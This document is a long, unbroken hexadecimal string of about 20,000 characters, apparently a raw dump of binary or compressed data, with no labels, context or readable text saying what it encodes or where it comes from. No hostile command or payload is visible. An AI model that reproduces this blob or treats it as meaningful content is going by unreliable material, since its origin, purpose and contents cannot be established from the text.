cfbbf17ccafefc2fbc33cc4fc1f0edeff08fe947bf2df43bef5f559c0f774c04f6d05fdb38ee577ed6fd53f80fc70e0977698bf54509f09bf91fa2f65f28b7dfc94fc0e7def82bf45613ea1faad63cfaffaf0fcc637e307e8fcd3f4cfc2fe08fe55dff53f63e3a75651bf303f78bd4ae43fea5f67e08f79febbf727c1f7ab0c427e0ff89072e2fd53c3be03dfcff855a36ffe6a6dc3bfe4aabf4bfe6616e6bbf417253e39f1fc70d387867ea4e0d9533f3fd3fddfd8e3970afaa6fbc4f60f821f6c439fa1a5f5aee65bed6fe1bf49fd72d42f37c4cfe75eef82fc00f1af6a14fcedf9fdbc7e9df2c7d03f2cc0bf35fee681f872afaf3f09fca3effe78c4b72ed9bf07fe3bf71dea8f0e7f04f50f40fd52f6feb011fabfb9fd3d3d3f27067e9ef1a5e06fb8417f5421be3cbcbf7dc047b23e835fabd7a7f5feccc69fc67cc9e385bdbf2ff175a6ff9941ffec86f599d72f5f537f89f3c13dcf07fce76dc01770ff07fc92f1736e4b0bdf3f8cfdfc3345fd09fd41cc0bbc7e72813f3df0feefd4077bc1f7337e2af0f323cfcf31ff07c34746babf4da17ffd93fbe907ea2bda7ca2882f6f92ff477f43ea832dbee9d7a13e13fd825bee1fc80f6807fc04f7b7effafe16c0bfe0fb811f40fd48f40f32ff9c8fbd3f2cf8efe69f73f5f1f379e5f747d23f7c1a3fcefc8f8c3f56617ec7fc93fc871ee6d74fde9f59f11367bf7f6814fce3a89f0c7cdddce707f347d87b7ccfe59b3fc980f841faffd1ffc8f8e1f87ec6ef87bfafe82b2affcff31bfdfcdaef8fe83fdd0dfa6ee4df5691ff46d02792f8c2fa7aeff55b39bf96fd7b2bf8df56803f1b01ffd9a63e3bf44dff983e1feacfd8fb53d21fef4a7ce44fef1f20fc0ece778967b8437df651f0f7d5fbf9bc42fe1bfaf904e3673af1fbb197305fe2fe96f82cf60f31eb4f7c3fe8bbe97c30bed2ff81f379f03ba09f25df6f8dfd11f7d3c20fa899ff18f80129f763c80f7f417f82fb3fe8639afe84ea2b2a7efe8dfa75d48b25be00fee1eadfa1fabbc0275fa83f6ffc4d3d5fc1ff56bf9fce9712e8a3047d5aceaf67dc4f573cff48fa23e5df2abe07fe86a8aff9fe62ccaf73f23bbcbf21f7d39ccf27deff56e79f17be3faf9f25f113fabbfafece7ebfc9fd43427e2af5f58faccf301fdc617ffb68fb23ec570ec0d79dc9df44ff477fae01fe9ed4cf8ae08ffe02fed16ff3cf017fb30f7eb1edffb07f18821f3003bf718efce7e28be80bdb7c69e5f91d5f27f3ef90feddfc6fb7f05753ff5bd3db0e7a79fefb119f4c7d8682bf0cf79b27afffa2fe24d04779833ed105f8ac28e8bf0ca0ef4d7dfd809f507d3ecc5faed42ff889f3f5c98f3b436f0df810e8431bfe85f88916f0c953ee8f027f93f39741889f2be08932ecdf73f053e11f0e7d06cc77efa02f4c7fd826dedf3ce0b32ea6afaffcf067f0533fd8bf53bf15fe478bdce62faacfc0fd03fd2db43fc2fe81fab42fd4b7c17c5efcedd9dfb23f3aebf9cc1fa1017edc23f4f9a81f59863f09e2a7e677ceaf837fa3cd9782ffb4dc9705fa3ff13f1a19ffc1f40b7e501fdaf8b7c047b6033e72eaf9b7aa1f82f8427f43ed1fd8bf7bfd4ff8e798be86c497b17f7f01dfaafd03f5fc539fdf0d1ff20a7ff4a7e06f9f809fd3f1fe6ac63f7a7a357faecfc0ff33fe83ccaf81cfaa313ff8f912f1bb52bf54e94f3243ffaefb699d5febfe01fce209f1ad98ef8e7dfdb226bf0afc69c59f651e3f4ffeed8bcd27a0af0ffd5dc9ef439b0f1ee87fabf988f1b362f817f5efa03e51c9f4dd16f40fb8217f9a7ed02bf36fd4febd89f757c5fd5c46de6fd0dedfb7fd03efa7d7cfa2bfe8adea83f552ef9f73023fee6afc23e8437b7d4cc167715f0cfc6ed02f077fb34f7f5ff0a7e95ff507fbb1929f7f72befb83f185f379fa6f96307fa9433fe421e07b3ac8ef89d77fd9703eff0c7ec705fd03e7839d71119f65fe94359fff1e2fc5fe48f947787fc2efdf9bbeb7e297d0ffd97e25427e8fe0df61f98ff8f91af1bb5e1ffa23f8fbc6e087ebfe96f379f01ba7d08fbc43fe9b47a63f91511ffa0ef981f3893af69bcde0ffb7484dbfd5f021d0e7bbcba0afff007fbc25f0837bf60f419f2849fd7c30dbd87cbe657814ce9730bf86fe4b427ceb80fb5b3f1fbc0c16a67fa6fa6ec0679d7d7e97fe7681f8a2f527f83993e0ff07fd9731f5b3185f16d07fa979fe4342ff1cfa87435fdff0ad63e8ef26ba7fe87b7d30f0fbe1df61fe39c11ff693fe1d99d7cf5a43ffec6fd33ff3f879fa87abff2df2c3a16bfa75057ef84ce3a7f7b73822bebcfbfe81fee1de9f12f50be6d7d4ff143e57467d457c3f899fa2ef4d7e80e65befaf4d7cdd22363f0de43ff8df6e5ba60f9dc01fa8c8bfa5be8ddfffcd1ba6b7adfb8005f84777c17f0cfc15afafafbfa7f92822bfea9bbf13f9e1d47ff9faf0feccd4bfbe991bfeec7607fdf9dce327ccdfa9a7fa44b6bf4d90ffc81f53fd25ad5f64bfa9fd3beab3b6d797aa3ef8efc7f90bf489ea5f865ff2f1e51df89eadce07fd7e1afc54c9efc2bfe5f7637db6f6f153f87f85fd26fd2dde7c7cb1fdadf1c3314fa6ff1ff72be46f4a7f447db03f1edf7a4b7de111eaeb26f02fd077b37ab00dff8744f55b15ffb9a51f58e087a3fecca89ffc12f80171d01f043e6b8a7c2bfde6fe9bbed4d0fc61cddfd7f4315fb13fa27f4742fe11f88df2f7bca5ff74381ff4d9b5beceb03fda916f7f31fce025f0ab882f97fd5186fa9af8ac19f4bd13eacf23ffcde9df417d1bfaab1d3d7ef0d9fc5e8afe1d33fa5b98fe2ef8d399f18b553f127fcfe0dfe8f971d807987ff1ccfa07ef8fc0f9c44bc087d8fc1afbe95be80fca7c9ef173aafe0f8a7f39013f41bdf411e2f58be277cd3f47e2a7f1c7a0cfd023be0ef99dfb952efcb583fe4bd0e7d3f3f553f2c3c16f5c63fe497f51f38fc3febda01f62faecd4ef01bfb10cffc61cf34feec71ec725d34b48bee983d11f680b7d7de34f57bcbf530efc4b3df0e3889f8f911fea23d32fb827be87faad33f8e7a87e08f6d3369fa77f2af2431bfedac497cbbcfc06f88211ea09d18fbc98ffcae9e8f763b69fbe85bf4c3be8bf500f82fe32efd83f14fc2d267c7fa6cfe0fd81143f8ffd66eeebebeb4799f8e49f5e0fc2e6bba60f36a6bfbdefffe4ef49ff87dbe2fecfebef925f9c6a7d2df7f319f8973f1edf63f3970ae6130dd3f7367f27f31f5b445eef9efe01cf7e3ef11af62bacafb7c8efaa5f6efea9361fbccb30dfe5fe21f47f8a4f0efa2809f763a60fb6f3fe39de1f48fabfc01f4b0c5f77d1ef17f85585fe81efcfeb67213f9cc87ff7fe4e5bd3574c827f87e6bfb6f9a3035fc0f95215f3cf26f6efea4f097e1cf5971a01bf14fc116c7ee6f90faa5ff70d1f22fddfccf0912dfaa71a7e3e07be608cf96ec0cff7d91ffd73bea4fb4dbe3ffac755c94f05fea595f8fdedd4fc73308fc4fe36013ecbf2df0df415e9bf3205ffa803fccbd0f8efaaefe6f92b1a3fb10f47fd926bbdc4f98beeff303f3b221f95628ffffc15fc5716984f9c3dff5dbe1ff191a807a13f48fd79bc77ea9b3631bf5e7b7f92a2bef02bf88d53f0c71e3cff0ffa6eaa0fd6075e38fe97f3dd52fff3d6e3cb896fa57f00f585b7c0bf1c897f89819fc8b6867f89c16fbc09fc8e0bf09141bfaea03f41ff23e607d3ef61ffd0023f2ee043a85f704ffe0aef6786fc9003bfd409f5cb14e7fbb07d87d69f7ebe4b7cabea9b82ffaefb872dfcdf8ff0b7afc65e9f96fa914decdfefc3fbcb02bf31d7fded86fcfe0ff0e3aad097527d7dc4cf8def1ff2adf7d7667ed0fd43a83fcff5c02fc67e13f8c8c8fb57993fb3e9f740ff6c4cff87dcfb8f45c0d7a9ff18eee7bdcf47d43f5b60bf39e47e6c11fcffaa7dcb7fab6ffa9f77c4474699cd77db41df5bfd1ba15f9779fd3aefcf057c01f585d11f05ff9c4164fe7fcfe60f1b7b7eb8f8cb107f4d7f51f647aa1ff2c6fb89eff71bfd6db62dd42fe6bfb2ed9aff8a9c2fc5df7319e66777417f29f2f8c1565eb5fbb20ef8a512f1bb7abe7be2972a5edf9bfe86921f9e90ff86befe34fd908ad7f79eb17e7923bec0fa77edffb6ca2fd67e6c4dff54e86b903f5d37ff1cea17a87e1df6d39e5fccf3955ebcbf0cfdd1e15fbc5ca13f4a52bf1f9b511fdaf3033641bfa06afa0536bff6faa6c09f55bd7e08f52766c487bcb54c1fe596fedaa36ffef69f7ebf69f8f286eaf788be37fd7d89ffbc9ea84f84fd34f9fdcfc15fbbc4fa4cfb77f33f5a6b7e37fee695fd83ea6b80ff80f9d212fb07994f8cc12f0ef81ef2a739df35bd27fadf72ff57427f54013e32d3f94b984f0c54ff0cfadef42ff6fa595ebf07ef6f9df8f98bd62f9c4f2cfdfc6c047c96e9bff4509f7d7a7cf90cfdbbf1e330df557c5deefd0d07c11f21f1f105fc38cfffe3f96e02bf03fd83e2cbd5dfdef27b95fb3ff0ff16cc0fc45fb702be5cfb238f7f9981df587df1feb091c70f7694bfa9f879e07715ff42ff46cc770daff11bfa5919f8fde377c37f9ea9df3325bedceb33287f25f8f5fc81bfc57bf057c37eecc7c0efdf45bfd5e33f3dff96f3eb16f79b86d7307e95e9a3543dfef30dfad7aa3f1ff8d39f8c2f38df05f89041d0af1bd39f04f173447fbca01f394dcdffe1b2f1fcb824f84f77a96f83fb49ff8767f823fcf1f36b8d9f35ea0b7b7ece0fe3af14fd2da8ff69f793f81eeaf750ff9af34fc3d705fc5993fc23e82b9abf2ff4a5e47e4e33cfef2fe05fd69eff40fd72cc77bdbe30fcc34d3f12fe78e6df580efe8d1bd547f9a67f067f4ae8974b7f447ceb12f5cb847e915ddddfda7c22e1fe56ea33ef4fc9f9443ea2de8cdf4fbf415f7119f485c7c40f7a7d30ce5fc87f37fed123f02f03c497775fbf28ff01f7f30ff50bd0dfb23e8b72fa1ba23f1a7a7dc56bcdfb3343ff53bf1ff5bdc9bf6d86f920e3cb99f81ed39f40fd32f3fa4b63afaf4fbd2ead3fedfb7df31f3bfbf96713fc3fef3f8dfcde1f439f08fa60165fd0dfb2febc4dfdfec1f50fb9f5ef45ff23c90fd4bf9e525fff88fd6d29f0fb53cd7fc40b2b7fd37dbf8dc717f4507f2ecdff0ff309c5b76ead7f37fe74889f35e8e5811f3e8f812f1fe0fded703ef25397c0ef9e8d9f3a307f35ea8734e08f70eff183ba9f3ef50bfeda864fbe0bf3cfb2f7df6c043d88a1c74f487ed0f90bfa23f60f8a5fc27e33a73f90e223edefb9a73f89e7f7ab3ff3bc04fe26fc0d87deff8ff3cfe7103fa997b709fba3bcb0ff7b357ffb11f075f2f7f4feda5a7f067dc557d507abf0fd09bed5efdfb5be2ee8ebd37fd3fb1b421f8cfb15e8279fe8ff90c05fdbe3a1f57eea7edaf747e417dff63dfe5af4274c5f0af9bde6f97f9adfd3a02facf83af32f267ef719f16586f919fb5be8479a7e88cd97cef46f34beda9e7e7cf2fd0afbdbaaf71ff3f3892fcfefe0fe28833e18e6bb73fa4fdf908f07bcfea2b4f0fc54ce27a02fb532fd3ad3bfee87f9c408fb4dea2f111fe9fa079d7f521f8cfe9b57f8ab817f0b7da944f7d3d407dba33f7a04bf38f3fa4b5a5fa33e93fe0ffe6a057cb9d49f17eacf7bfc8be9eb53bf47f0917c7ff2fdcc9f2bf5fccd18f901fc159b4ff4c27e1af82cc9efd0cffae6ff80ef27f333f31fe3fc2ce0b354ffba4cfff09fc11f4ff6b7cbe00f3426bfd1d7d7b27fdf61bf12d554ffba69fec5c04fd0bf23c27e6564fa1ac60f307ca4ed8f18cf3cfe53de5fc7f8016bf307227ffa19f9efaec09f667cb9357e786de8f515951f47ff4dfa93783d16e91fde328f9f78f2f95df075a7e05f8cfe6ffecd7fccf4f517dedfd0fc8172f01befc16fa43e5f0ff89eabd70fb1fec1fc0d4d3fa444bf1ee5dfa6c02fd1ff61e3f12135e89b1a3fcefb612abee7b7f7e7827e6bc1bfc3fcb2a43ebb003f487e55e34aff3f7d7f365f0af9619378ff15c4179d4fc01f6f1ef801c4cf1b3f9cf364cc97cc3fae4a7f19eca7e95f15993facf12d74be44ff07fa07707efddbeb434b3cbb607fd4037e220afe2b7796ffc00f98cc4c7fe288fd6606fe18f7ef886727dfdf82bf427d861cfc5beeff0af519fc6f13e84b613f8dfa6c85fe0ffe94a60fb601fe73ebfdd5e88f27fdbb6b6d705fc0cfa981bf72f1faecc3b07f803f97e96725d09f4fe07ffbe2fdd135ff293e44e74bcf865fb2f999e143381fe4fce567c8efd4d73f4696df0bfe6ad4b791f93cf92bd84f2bff0ffa75b6bf25fe7310eacf07f67fc15f8df83ae2af87f87e27f30f2811ff097c16f1f39e9f9300bf0b7d30cc2752afcfcefdbbe127d81fc13fe00ef97d4e7c39f4b366dc3f54507fc2ff41e34bd8af047f20f66392dfe13f66efcff44d3f783ecd0fa64f3b0cf3eb0df203cfc7faa5c2f935f67f31f47bc4bf91f88975d067382f4cbf55f647d4bb5fc0dfb7c87f377f6dc3272bbed59f4ff09f2d9c6fe5eb97e09f0a7fa00bf7ef9c7fc6c1dfc9f45bcf9c0f0e91ffee4c1f13f5cbbc64fe40d46f7d477c9997386f8d7f74bff95b0cbcfea7ee6f517fde04fd8299d78f9cefa90fcdf8427ebfd74f96feb69117f99be6af0dfdcf19f159c4b7827f6bfbf71cdfafa3feb09aff92c07f477e40bcd6f9ee84fa83dc6f7ebf9f6de0cb892f5821ff45e43fa0feacfaf8a9fed3ef7deb1f881fe4fe48fc3779be3afca70bfe55ea3f06fd9733f7efc8ef0be8bf1ca1cf5e35fe9fcdafff34c00f58077e2af3dfd1e3e74d5f31f7df8ffe01f3b718f36bf2ff3aa65759867e48c3f60fdaff2d67e06f42afb24d7d1bd3ef79a15f1de79f3a3f6b16f8e1dfe667f551d9fadb25be1ffd0332e377e8f91ee1ef9b507f97f8c8b39f4f70bf32e5fc1af872eab34b7dbdb1fded17f59754bf87fa6e39f013e4c7713ee1cfa7f3b3add6d7f08745fdc2fd83f13b147fc67d80e27bf6b6df34fd33e3078cbdfe35f25f8ffe787fd81f1dbcbe06e7d72ff45f6934ad3fb2fe211bdbbe7f6df91dfa9f0fdedfa282fa2c09f8dd43b7a85f97c2df2955ff00ad3fa9af7fc1fc6cecfd29c11f037f650f7cc1c0c79761f03f1acf6d3f2df1650f7c4f52a6decc8cf9c1f4e76f51bf7491df17c09f293fc7e5bf03f083e457758bfe401acffaf0c71bfbf3dd78fdb3703ed3d7dfcea04f8bfc67f864ce5f9a38df3ac44fd62f7b1f5fee97617f8bf92efc3bd0ff61bedbf6fb15d5973af8fd03f8b0b65fd1f98be9b72e38df95f3fd0af8b32ef07551f00fd7fd03fcc37fc25fa6efe79fdc8f4da94f4b7f27e887e8fe28e0430ed06738607ec6fd11f4af4fc487c87e93fe6a53f8e3a15f81bf28f021ef05fe1ff083ba7ff0fa9fdc4fcf81ef790efe24b9eea775feb9011f2fe813fdf4f379c54fa8bedbf7fc0e7f588dd7c60f377cc1bca2f5d9e29bfea7f8bf5f6dfea2fbe934f2fcbf301fec047dd321fc37a5ffabf9fd5f3dcc3fdfc01f633e4aa06fb384bfda31d4f3a9f91f79ff62f2c3175dcf6f3c17fdf1b06ff4fce299e7df06ff31edff5a415f1ffc54a9cfbac69f863e430df3797e3fe3e760be047d4c9b9fc5d6af90bf497d457f3edbbf437ff764f1d3f77f15e03f814769fc347d4cd467e44fe7057d1bd5d760fd22f5440e7e4e1bf39797225fbb0b7ccf9efdade587dfffdc1f3d36e85f7c35feadea9f613fd60ef567982f497d16f435e80f04ff15dd6fcafcfadef647e60f3be4fe08fe2b5a5ff7833e11f82b33f8ff293e04f733077fd3f3df31ffa4bf28be9fee37d1ff2dbc3e91e9a912dfdad7fed6fc0d45dfb41ffc6f8fe6df61fa91dff98d3a5f7a23ff08fa2f61be1b9d3d7e97f3cf69e07720be983f33f57b9e39ff84ff5f03fa1acacf417ffb19e6057df86fb23ed3f912f5ebbcffc30efa4443e82fb50ddfe3fd65d8df76b5fe34ff4de24de1bf093e25fc2dfe0efca37bec73643fbda7bfd342ebb321fa77e687f7c01fe3f7bbc3fe81febed4072bcccf3ee9bf82fcd7223e04fee12f1e1f62fd26e7bb8fe3227f6ccffa1a7c7be33f90bf49fdb392dd4ff30f07bff8cbfc650696ff149f05fd2ce5874f6d1fa7f302f67fcfc11fe105f8900cf9bde1eb33db8fb1ff23bf38c7fe88fecccb105f3a05bd5fcfef880d5fe7f92be4e7742745ff874fe87f52bf5cf02ff4a73c987f80d7cf22fe13fea2c8efd42732ff07c587cc313fdb067cc1777f9982fe442ff8a39ffd7cbe13f04bbfbdfe92e0232fc5fda6e9efcafe6887fab30dfddd1ece67f8ac3df075d81fcd76c6af82bf36f81d9b307f81be29fcc7b85fc1fe611399ffd14ae62ff0a7bc78fe8ac4cfd0ff99bffda7df8fc9fcac81fded13f485b91f537d3ee817105f17c13fc7f894d00fc9a19fd5877ef98c7acdf44f1d213f94fc7c42e24bd83f987f7809f1a599fbf9d916e7ab623f467d6fea0b6f6d7fe4cfa7fc5bd31f547ccf81fc5bdbdfc2bf03fd4af017357d45e2b3fae6ef447d7de4879aafcfe83f467f58e18fedbc3e1ffbbf1fec8fe02f63fa98ecdf85bf497c48f09ff6f810f557db12ff790af3f92af85509fd3b2a787fc00fde63fe22fa05aff4570bfe0fd8af407f1efe6a015f0e7f3c3ddfd9cf5f62e84f6cb91f03fe05f379c5cfd3bfe3e4f597f47e46f077f2fe01e0e7acbdff9fea7b6b7fa4f9cfcf07ab5de0ebc2fe08fc4df5b7203ea46bf33ac5ef52ff7303fd41c37f5afe437d16e3fd25f87e1de43fead376b13f7af1fe085a7fc6ac5fb85f01fe6c0fff877befffe7f1d7d097ead1dfdefbab193f600bff2ae897ab3ec37b915f65fd26fc03823ea6bebf1edec3c6f38f74ff70f1f36bd98fc59e1f477ea3c4cfe07f6bfca3aef78f833f82eaefcedefc7e3a877eeb00f848e25f12e8f73c90df487c81e99f613f3d12ff4dc417f8e399fe35e691dedf3001bfd1fc81541f7a78f1fc8e23f40bee901f641ec2f984eb6f13f0dfb93fa2bfa8ead34ebef993b07ec1fe3621bebc80df4d3b361f8c30bf863e9ff9cb18bfb1047c4f83fa9fe0af905ff511f4158ff0af9aa07f1fa2bf8dbd3f33f12f3fbd5fb9f2c3efcc1f56f1c243e05f9e4c1f5af3fb05fb15f02dbc3f65e03f78fd1ed62f23d38f2ca5e077f4d9ff697e1fa87fc0d4f42746d8ff1dbfd5677e3e91d8fe96fedad4ff247ea2e06fb8477c79843face9bbb5ead0a386bf2ff5bd037f73cffd18df1fbe9fe92ba2bf35fe51e4f12fa62fbcf5fb95fc1b7f53f80f0fc8efa27f46fddd23f013f00fd8787f35cdefd417f6dfaf520bfe8dba9fde9cc9b72ffadbc3ffa1a0df6af35df2370fc0677d98fe60c1dfd7f4f5bfe13f35bfeb7c17f897e0df980f889fa73f25f0bbd3303fab7a7da96dd8afecfa7ebe44bda08af95729bea787f9e021f0a7e9bfa2fc15e04de94ff201fd79f3a7bc9a3fec27f81d984f00df13f04b03e0072fb63f5a909f6afade7be86b901f77043e32c1f7bbf7fb69db17a7985fd3df691bf4ddb87f687a7ff467f5df847ff1def33be87f447cc1c6f4a562e3afecdf2dbfff21ff6111f45f309fef533f8bfb23f0c704df2aef2f81be0df4696bec8f2e982fc9febd8dfcc7f9d283e1cb75ff477d7dce3f4d7f50e74ba85f4ade7fa51df415b7e0df325ed747c5f9e0cafc4581dfbdf3fe554fe88f9a01ff19faa33edf9ff10d71becce30ba4bf2de093d7f87e63f3efd0f94423e8432fd6863f23ff28853e7466f3c117ef2f53e2f7c3fbdb60ff10f0c917e05f449f16f36b9fdfa7f07fa03fc277fd894f8f6fc57eb354982f797dd37fc10f06ffb1b2f7cf81bfb6de4fd9df323fd0df9efaf329f9efaa1fa9f879eec7aad6bfebfd6c821f57e087077d6fe9df9fa0df63fbe99ae75771bef484fea105fd1ec90fef61ff40fc4403f864f3b7b7f93cf4f5837e6b2df88fd574ffa7fe32c80fdeff56f13d5feaaf66fcd40dbfdfae5fe46f327e46a67f1d71be64f7f3faa1fc77d69fc6ff033f8ef8b3e7bde70724d06f55fc60f0f745fd69faec31e2e7dd37fff775e0bfafb17fb8477d9d20beb4d1bf5ffdfdd4fea8c01fcb3d7ee903dfef02fc3cf1adad802fd8527fd7f8717bc3b307ff87c2be7804fdd647d337d5f747fcd9c5f4930d5faefb23ea2bcea0cfc079d6daf407e93f067d5aec6fe741ff25b7fa0cf8ba33f4a10d6f8a790ff12155cccfeae08f91dfb1e57c90f38913f763d4f7063e52ee67cbebb792bfd9063e2be17e1afb70e8bf94e8cf6cf3970afcdf2fc0471abeee8dfad7c13fd5dedf6fea0fbafe4fe78367adcf4c9f6801fd72f8c3f6e96f7107fd79c97f39f02f05fcf516f841ea67edbcfe27ea17ef6fb8447d2dfd83efffc01fa33e8ac7274b7d2dfd03f971d467c8bcbf36f50b3c3f15f397b0bf5dc0ffddf497b6ec1f90ff9248f50bc80fd8529fafa2fee89cbf8c13e3bf43ffda9f4fbe5f8ef9756336fe49fe3bf9a9c45f07feb4f9dfaa7e8fd7afbbc57ca269feb057e05ba15f50f5fbe96dc0ef9e53d377e37c49fa07c167515f7febf53fe5fd25f427417f9b72be7b4c023f47f79baa9fe5f53f4dbfbc8ffef66af864c54f54a84f6bfa1aa6df63faad6b5fbfd8f74b585f43fffab7f71fab6ca83f41ff70e00b3e3d3e0bf81eadcf5ae63f3635fc92f7df1c72ff67fe7155cfafb2fae5e8fdffd636ffdc98be7e83feb0820f015f3b25be07f890a01f79a2bf28eb4feaa390ffd0323e97f18bcd9fa442fda582be1bf8d3b5827e0ff82b1a3fa7e6af467dbe7614f4b3c6e62f5305ffd6fcb5c9af9adf2affb68579ebc0f863d00f117f3ce8bb3d40df7466fa83c6e7327f12f81bdaf78bb0df6c81ff90057c39fda74b5e9fb666fe0fc0efe6a83fe9c7d00ef8cf29fc29e94ff28efa9afed333f2aba8df5af6fa7cb1e193e15f45fe5849eb4fce97845ffc6cfa13aa6f5ae17cc2fca771be45d0f7ae79fe6d84fded0bf1add83f18be1cf864ecff589f41ff1afd11fda40c3fdf5a1bfed3f4151b8c2fd497c2feef03f5600e7c6b37f5fc8e05fc0de92fdaf4f817e85f9730bfc6fb23be7c4ffe0af89bd4bf3e211fb5319fe77cc2ce17f4d9e91ff782fef68fd567f08f0bfa0ce88fb4beee815f55f5fe4ea6cfbe86bed484faec3e3fd4833fded4f62bdedf3087fe8bea67797ff41afd4930ef796c7c9beff602be5cf7711a3f151f12f6eff937fdac1df5f9703fc13fd2f73750fc44027d768b2fbd507f66f0771aa37f1fd93ec0f3e3deb13faaf8fe7decfdd5b4feacd25f0dfd3bf7b737413ff29b3f90f1373f3dfe0cfee87abecebcc85f31fdacaad72f50fdf9dcf2df85fcc6685bd05335ff46eaf7f4d13f507f42f507c1a73cd13f1cdfaf09fc6ed3f8c5860f09fe6ae67f64fe16323f3b7bfcf585f34fab3f81efe93d9bbe4605f325c54f603e7ff4fa05d4cf92fb29f50bf747f44fbd377e87d683dd54f60fa302ffbdf34d3f59f9639c2f057f9912f89bd03795fe9dfee8b29f1e783e498af920f0673ebef4bd7f00f10567e68735ea979de9b7eabebf057f9917faffc13f00fdadce5f9ea1af68fed3e88f445f98fe4ee0f7c39f2be077c3fce505f133357f04afcfcefa25367c6b54c42fd1dffe15fa1adc1fd1ff6f69fe4005ff62e89fa1def5f317edfff8fd98dff57ea2fea49ec733f0ecf44728c55e3fa402fd64c5cffbf365617e66f3ddb1af3fa97f4d7ef805fb8746e017537f89fa9ff57fe0cf747ea6fabb5ebf87f1c5f03d6b8f4f367c1de6bb8b98fcbfb1c517af8f697c27bd2ff789cdcfa03f087f66f3b7f7f8dd7ed04fde23bf930fa4f5bcf79f26bf3f06fe2ce097ccffbde9f5a5cc7ff38bfc2acccfe8cfe5fda7c98fd3fdc375a6fa3de45b987e1de7c9976ffa2173e0234d3f32cce7393f8badff43fe231fe18cfe76acfb956c86f9f509f89e0cfad017bfff337d7dd567f0fd431dfb31e14f93ff77f4fc0efa878bbf93eaef0aff96fa7ca8afb95fa13fbaf253818fa4ff26ce477cc10ffa23e4413f0bf35dd5d730fd64ea43fbf975027e80f2c3899f0ffb3ffaa7025fe0f1e5e06fd682ff18fd45a9fff2e0f9e1c6efa0ff51f08fa33ef4c5fcc32dff297fac4b7d7def7f24f3cf6df09fae05fdc19adf6f2abf1ffe6abda0af78f2f3f917ec8f16c65753fc44817f1b1b3f0eef6fabf36bea2f69ff17e68337c467e1fde5ef3df2c7fe50bf27c17c2982be86e0f58fe86f8ddf417c39f4432ad0d720ffef97ed6f911fe8ef44fe3bf9b707afff22f8eb05f43f891fdc16fcc3a1ff329a797fa039f4b3b6787fb9f9fb6afdf2087cc1d6f46dd0bfefe07f0bff54e9df9b41fff303fc54f5c7c37e25f01bf7d84f57a8ff42ff0eea9703ffa2fa21d88fd9fba33e6dc0bf48fcfc85fe7d1bfced4fde7f13f584e677e2279e0bf50bde5f8bfa52eaaf6dfaa635f47fe44fcbfb137c7923f8a3f714ff42fc12f39ff977fc46ff5035ff0eef7fabfb69dbbfdb7cf736f0df975e5f91fa1aa2dff3eefd6564feb9357d5abf3f22ff8ffc23f2c305ff19fc1f9257ef0fb4a57e32f5d9395f1a2bffafa08f7986ffd105fc77d147517da2a2ffb4f663d42f18d9fcaca8dfba017ee288fe2f09f8895ee06f121fd2f07c74afef063fe892d717e6fcdaf497f6ca0f877faaf60f8f866f35ff31dddf427f5ef9efc65f217f6c6bfef6529f111f49fd822ef0bbf40f28f54d9fa1a6fb15f0ffa08f59c067211fa9bff696fd5fd8bffbf9b5d6679317c32f7dd70f795ea17e217ef7dec717f2fbbdbffd1cfa0cde9f84fae567f327013ef9c3f0c93ebf9b7f40e8df375eff13fc469d4f4ce90f04fc19f159b89f3adfeda97e96f5b7e4c7ad80ef99d8feddfba7521fb361f389a8802f90fe96fc62ccaf8bf872fa17bf417f42f1f35edf4df0bb11eee782f83a7c3fe317e3fbd1bf51f4afe12f63fa44ea1f87faec16fe2b4decc7bea88f093d393f3fe3fe08fe0f1f5eff45ced740fc04fec5f3a773f0fb33f8ff91bf62fd11fd613dfeccfcd5d83ff4385fcaa847a6fb15f26fc7d83fecc90f1f58bd447fdfea31e43fe2cb23e43fe81315f5dda8cf70847ef233f0ad13f2df57c07f42ffd3f8ef9b02fe0cfcc6cd19fe47fafdee39ff0cfe01320f99a05f89ca23f01f743e4fff69ccaf4dbf0ef8a5abf9bd9430bf2ea1bea6ffd1c9ea17af2f75847faae097a6f00f6f79fec3d7c9e3eb56984fbc787d769b7f364f1ebf34bf3d99bed4d6ebcf133fd155fd25dd4f33bf8fcc3f15fa0521ff057d3ec1cf53ffba8efefdc5f435f0fd361e1f92197f45fba312f12f8785f1df515f2bbfb145fd17e8831db1ff7b0ef35de537a2bf4d95dfd8823e58c1df49dedfdeef1f52fa8733be183fc77f3fa9277af03f8aa8bf44fe51e0bfc35f54fb5beabfdc15f423115f827e8fe8bf6c308f647e6fe45e7f7011be5f15f8f29cf3798f9fb0faacecf5a55a817fdb4a0d7f26fd516364fdedcfa9d74fae115fbecb6d7ef664fc3f8f9fbf047cb9e96741bf20c6fc6516fabfc0df34fd10eaebbf6f4ddfad09fd829cfaec3fc17fefd35fdbeb47a6413f6416f00586fff4fd433ef4fae5dcdf762dbef8f9bcf81f75bdfe7c64fe01e6dfa1f567c9fbbfc7d8afcca99f05ff008f3f03bf9ff36be80f5aff7e0bfd17e8efc23f2ee05fdea93faffac219fdab141f9958fcaca33fe2fdf4f3dda5e127a88ff214cef7e0e3a7f11fa8dfda00feace7fd99b17f377fca45217eee81cf9a797effdaf40b800ff9dd31ff77f67fc0178cc2fcccf462195f66d09ff7f599c7ef129f15c18f9dfa28921fe89f4a7ec0c0f083de7f8cfa606f889f8ff05f497cffaef8eb8cfe0f889f85fbb9873e7bc097038f89fd03e2e72af0034c9f1dfbb156f09fa6dec59efa60c80fc4877ca07fa73e7437cd4c9fafa7f8c8c2fcccfcdfe90ff4f64d1f7a6a7a873ebeac153fa8f8a58df72789b19fcefcfd547cc8d9fb036da00ff62be8d7c5a8cf2a989fa9be30f451703f553ff9e0f53c888f9c193ecbeb67517f9efcaa67eabb0d7dfd59a7be37f8a919f589e8bf12fcab7ac8efeda0afb82be8d77de31757806f253ea4647aaa9cbf187ed0f091b1c767193ef2acfaecbadf347c39e6f36becdf4fdebf4aeea7f953a619fce3cae6bf798fef17f4dd509f41bf07f82cd107e3fee811f57562fa4bf097317d1bfa5b103f0f7fd811ea6bee37fd7bd0faf3127b7f43f60f3e1f015f007eb1cc27a82fa5fcb1a0bfcbf98bfaabbd91df61fafa9fd4f7b6fa4cf50b8625f2c3e9bfe2f9b7d4c77c047e3709fe083be007cd5f0df81eeb6ff3227f33ddd9fcccfb77a4de3f3cf2f810db072c88f7063e59f0590dfa535efadff1e5e22ff3053e7314f44db16f54fdba81ede3b47fe0fe01fabba66ff30a7ed510ef2f0efaf3553f5f92fa250afa8ac49f9530df2df5cd5fbb46fff7b3e71f015f6ef3dd41e86f47e48f55bdbfcc06f872d36f2dea87f8f7477ff403f0ad67afef9d5ccddf3ee8eb83ffd7d5fbf9f85d9f7d0a7f43eaa394c15f6904fc75dc32fcaed49ff48f537e2af005d407eb623f8d7a5e